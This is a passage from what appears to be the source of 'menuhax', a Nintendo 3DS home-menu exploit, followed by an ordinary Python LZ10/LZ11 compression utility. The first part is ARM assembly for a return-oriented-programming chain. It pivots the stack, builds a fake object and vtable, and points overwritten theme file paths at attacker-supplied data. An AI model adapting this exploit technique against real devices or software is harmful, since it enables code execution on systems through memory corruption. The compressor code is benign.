 79 | ROPMACRO_WRITEWORD FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE, (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_shuffle_thememanage - filepath_theme_stringblkstart))
 80 | #endif
 81 | 
 82 | #ifdef FILEPATHPTR_THEME_SHUFFLE_BODYCACHE
 83 | ROPMACRO_WRITEWORD FILEPATHPTR_THEME_SHUFFLE_BODYCACHE, (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_shuffle_bodycache - filepath_theme_stringblkstart))
 84 | #endif
 85 | 
 86 | //ROPMACRO_WRITEWORD (0x32e604+0x1c), (THEMEDATA_NEWFILEPATHS_BASEADDR + (filepath_theme_shuffle_bgmcache - filepath_theme_stringblkstart))
 87 | #endif
 88 | 
 89 | #include "menuhax_loader.s"
 90 | 
 91 | @ The ROP used for RET2MENU starts here.
 92 | 
 93 | ROPMACRO_STACKPIVOT TARGETOVERWRITE_STACKADR, POP_R4FPPC @ Begin the stack-pivot ROP to restart execution from the previously corrupted stackframe.
 94 | 
 95 | menuhaxloader_beforethreadexit:
 96 | @ Copy the addr from menuhax_payload beforethreadexit_return_spaddr to the word which will be popped into sp.
 97 | ROPMACRO_COPYWORD ROPBUFLOC(stackpivot_sploadword), MENUHAXLOADER_LOAD_BINADDR+12
 98 | 
 99 | @ Write to the word which will be popped into pc.
100 | ROPMACRO_WRITEWORD ROPBUFLOC(stackpivot_pcloadword), ROP_POPPC
101 | 
102 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP
103 | 
104 | ROPMACRO_STACKPIVOT_JUMP
105 | 
106 | object:
107 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr
108 | .word ROPBUFLOC(object) @ Ptr loaded by L_2441a0, passed to L_1e95e0 inr0.
109 | .word 0 @ Memchunk-hdr stuff writes here.
110 | .word 0
111 | 
112 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
113 | 
114 | .space ((object + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
115 | stackpivot_sploadword:
116 | .word ROPBUFLOC(ropstackstart) @ sp
117 | stackpivot_pcloadword:
118 | .word ROP_POPPC @ pc
119 | 
120 | vtable:
121 | .word 0, 0 @ vtable+0
122 | .word 0//ROP_LOADR4_FROMOBJR0 @ vtable funcptr +8
123 | .word 0//STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
124 | .word 0, 0//ROP_POPPC, ROP_POPPC @ vtable funcptr +16/+20
125 | 
126 | #ifdef LOADOTHER_THEMEDATA
127 | filepath_theme_stringblkstart:
128 | @ Originally these strings used the "sd:/" archive opened by the below ROP, but that's rather pointless since the BGM gets read from the normal extdata path anyway.
129 | 
130 | #ifdef FILEPATHPTR_THEME_SHUFFLE_BODYRD
131 | filepath_theme_shuffle_bodyrd:
132 | .string16 "theme:/yodyCache_rd.bin"
133 | .align 2
134 | #endif
135 | 
136 | #ifdef FILEPATHPTR_THEME_REGULAR_THEMEMANAGE
137 | filepath_theme_regular_thememanage:
138 | .string16 "theme:/yhemeManage.bin"
139 | .align 2
140 | #endif
141 | 
142 | #ifdef FILEPATHPTR_THEME_REGULAR_BODYCACHE
143 | filepath_theme_regular_bodycache:
144 | .string16 "theme:/yodyCache.bin"
145 | .align 2
146 | #endif
147 | 
148 | /*filepath_theme_regular_bgmcache:
149 | .string16 "sd:/BgmCache.bin"
150 | .align 2*/
151 | 
152 | #ifdef FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE
153 | filepath_theme_shuffle_thememanage:
154 | .string16 "theme:/yhemeManage_%02d.bin"
155 | .align 2
156 | #endif
157 | 
158 | #ifdef FILEPATHPTR_THEME_SHUFFLE_BODYCACHE
159 | filepath_theme_shuffle_bodycache:
160 | .string16 "theme:/yodyCache_%02d.bin"
161 | .align 2
162 | #endif
163 | 
164 | /*filepath_theme_shuffle_bgmcache:
165 | .string16 "sd:/BgmCache_%02d.bin"
166 | .align 2*/
167 | 
168 | filepath_theme_stringblkend:
169 | #endif
170 | 
171 | 


--------------------------------------------------------------------------------
/compress.py:
--------------------------------------------------------------------------------
  1 | # used http://code.google.com/p/u-lzss/source/browse/trunk/js/lib/ulzss.js as
  2 | # a guide
  3 | from sys import stderr
  4 | 
  5 | from collections import defaultdict
  6 | from operator import itemgetter
  7 | from struct import pack, unpack
  8 | 
  9 | class SlidingWindow:
 10 |     # The size of the sliding window
 11 |     size = 4096
 12 | 
 13 |     # The minimum displacement.
 14 |     disp_min = 2
 15 | 
 16 |     # The hard minimum ; a disp less than this can't be represented in the
 17 |     # compressed stream.
 18 |     disp_start = 1
 19 | 
 20 |     # The minimum length for a successful match in the window
 21 |     match_min = 1
 22 | 
 23 |     # The maximum length of a successful match, inclusive.
 24 |     match_max = None
 25 | 
 26 |     def __init__(self, buf):
 27 |         self.data = buf
 28 |         self.hash = defaultdict(list)
 29 |         self.full = False
 30 | 
 31 |         self.start = 0
 32 |         self.stop = 0
 33 |         #self.index = self.disp_min - 1
 34 |         self.index = 0
 35 | 
 36 |         assert self.match_max is not None
 37 | 
 38 |     def next(self):
 39 |         if self.index < self.disp_start - 1:
 40 |             self.index += 1
 41 |             return
 42 | 
 43 |         if self.full:
 44 |             olditem = self.data[self.start]
 45 |             assert self.hash[olditem][0] == self.start
 46 |             self.hash[olditem].pop(0)
 47 | 
 48 |         item = self.data[self.stop]
 49 |         self.hash[item].append(self.stop)
 50 |         self.stop += 1
 51 |         self.index += 1
 52 | 
 53 |         if self.full:
 54 |             self.start += 1
 55 |         else:
 56 |             if self.size <= self.stop:
 57 |                 self.full = True
 58 | 
 59 |     def advance(self, n=1):
 60 |         """Advance the window by n bytes"""
 61 |         for _ in range(n):
 62 |             self.next()
 63 | 
 64 |     def search(self):
 65 |         match_max = self.match_max
 66 |         match_min = self.match_min
 67 | 
 68 |         counts = []
 69 |         indices = self.hash[self.data[self.index]]
 70 |         for i in indices:
 71 |             matchlen = self.match(i, self.index)
 72 |             if matchlen >= match_min:
 73 |                 disp = self.index - i
 74 |                 #assert self.index - disp >= 0
 75 |                 #assert self.disp_min <= disp < self.size + self.disp_min
 76 |                 if self.disp_min <= disp:
 77 |                     counts.append((matchlen, -disp))
 78 |                     if matchlen >= match_max:
 79 |                         #assert matchlen == match_max
 80 |                         return counts[-1]
 81 | 
 82 |         if counts:
 83 |             match = max(counts, key=itemgetter(0))
 84 |             return match
 85 | 
 86 |         return None
 87 | 
 88 |     def match(self, start, bufstart):
 89 |         size = self.index - start
 90 | 
 91 |         if size == 0:
 92 |             return 0
 93 | 
 94 |         matchlen = 0
 95 |         it = range(min(len(self.data) - bufstart, self.match_max))
 96 |         for i in it:
 97 |             if self.data[start + (i % size)] == self.data[bufstart + i]:
 98 |                 matchlen += 1
 99 |             else:
100 |                 break
101 |         return matchlen
102 | 
103 | class NLZ10Window(SlidingWindow):
104 |     size = 4096
105 | 
106 |     match_min = 3
107 |     match_max = 3 + 0xf
108 | 
109 | class NLZ11Window(SlidingWindow):
110 |     size = 4096
111 | 
112 |     match_min = 3
113 |     match_max = 0x111 + 0xFFFF
114 | 
115 | class NOverlayWindow(NLZ10Window):
116 |     disp_min = 3
117 | 
118 | def _compress(input, windowclass=NLZ10Window):
119 |     """Generates a stream of tokens. Either a byte (int) or a tuple of (count,
120 |     displacement)."""
121 | 
122 |     window = windowclass(input)
123 | 
124 |     i = 0
125 |     while True:
126 |         if len(input) <= i:
127 |             break
128 |         match = window.search()
129 |         if match:
130 |             yield match
131 |             #if match[1] == -283:
132 |             #    raise Exception(match, i)
133 |             window.advance(match[0])
134 |             i += match[0]
135 |         else:
136 |             yield input[i]
137 |             window.next()
138 |             i += 1
139 | 
140 | def packflags(flags):
141 |     n = 0
142 |     for i in range(8):
143 |         n <<= 1
144 |         try:
145 |             if flags[i]:
146 |                 n |= 1
147 |         except IndexError:
148 |             pass
149 |     return n
150 | 
151 | def chunkit(it, n):
152 |     buf = []
153 |     for x in it:
154 |         buf.append(x)
155 |         if n <= len(buf):
156 |             yield buf
157 |             buf = []
158 |     if buf:
159 |         yield buf
160 | 
161 | def compress(input, out):
162 |     # header
163 |     out.write(pack("<L", (len(input) << 8) + 0x10))
164 | 
165 |     # body
166 |     length = 0
167 |     for tokens in chunkit(_compress(input), 8):
168 |         flags = [type(t) == tuple for t in tokens]
169 |         out.write(pack(">B", packflags(flags)))
170 | 
171 |         for t in tokens:
172 |             if type(t) == tuple:
173 |                 count, disp = t
174 |                 count -= 3
175 |                 disp = (-disp) - 1
176 |                 assert 0 <= disp < 4096
177 |                 sh = (count << 12) | disp
178 |                 out.write(pack(">H", sh))
179 |             else:
180 |                 out.write(pack(">B", t))
181 | 
182 |         length += 1
183 |         length += sum(2 if f else 1 for f in flags)
184 | 
185 | def compress_nlz11(input, out):
186 |     # header
187 |     out.write(pack("<L", (len(input) << 8) + 0x11))
188 | 
189 |     # body
190 |     length = 0
191 |     for tokens in chunkit(_compress(input, windowclass=NLZ11Window), 8):
192 |         flags = [type(t) == tuple for t in tokens]
193 |         out.write(pack(">B", packflags(flags)))
194 |         length += 1
195 |         padding = 0
196 | 
197 |         for t in tokens:
198 |             if type(t) == tuple:
199 |                 count, disp = t
200 |                 disp = (-disp) - 1
201 |                 #if disp == 282:
202 |                 #    raise Exception
203 |                 assert 0 <= disp <= 0xFFF
204 |                 if count <= 1 + 0xF:
205 |                     count -= 1
206 |                     assert 2 <= count <= 0xF
207 |                     sh = (count << 12) | disp
208 |                     out.write(pack(">H", sh))
209 |                     length += 2
210 |                 elif count <= 0x11 + 0xFF:
211 |                     count -= 0x11
212 |                     assert 0 <= count <= 0xFF
213 |                     b = count >> 4
214 |                     sh = ((count & 0xF) << 12) | disp
215 |                     out.write(pack(">BH", b, sh))
216 |                     length += 3
217 |                 elif count <= 0x111 + 0xFFFF:
218 |                     count -= 0x111
219 |                     assert 0 <= count <= 0xFFFF
220 |                     l = (1 << 28) | (count << 12) | disp
221 |                     out.write(pack(">L", l))
222 |                     length += 4
223 |                 else:
224 |                     raise ValueError(count)
225 |             else:
226 |                 out.write(pack(">B", t))
227 |                 length += 1
228 |             padding += 1
229 | 
230 |     # padding
231 |     padding = 8 - padding
232 |     if padding:
233 |         out.write(b'\x00' * padding)
234 | 
235 |     return padding
236 | 
237 | def dump_compress_nlz11(input, out):
238 |     # body
239 |     length = 0
240 |     def dump():
241 |         for t in _compress(input, windowclass=NLZ11Window):
242 |             if type(t) == tuple:
243 |                 yield t
244 |     from pprint import pprint
245 |     pprint(list(dump()))
246 | 
247 | # if __name__ == '__main__':
248 | #     from sys import stdout, argv
249 | #     data = open(argv[1], "rb").read()
250 | #     stdout = stdout.detach()
251 | #     #compress(data, stdout)
252 | #     compress_nlz11(data, stdout)
253 | 
254 | #     #dump_compress_nlz11(data, stdout)
255 | 


--------------------------------------------------------------------------------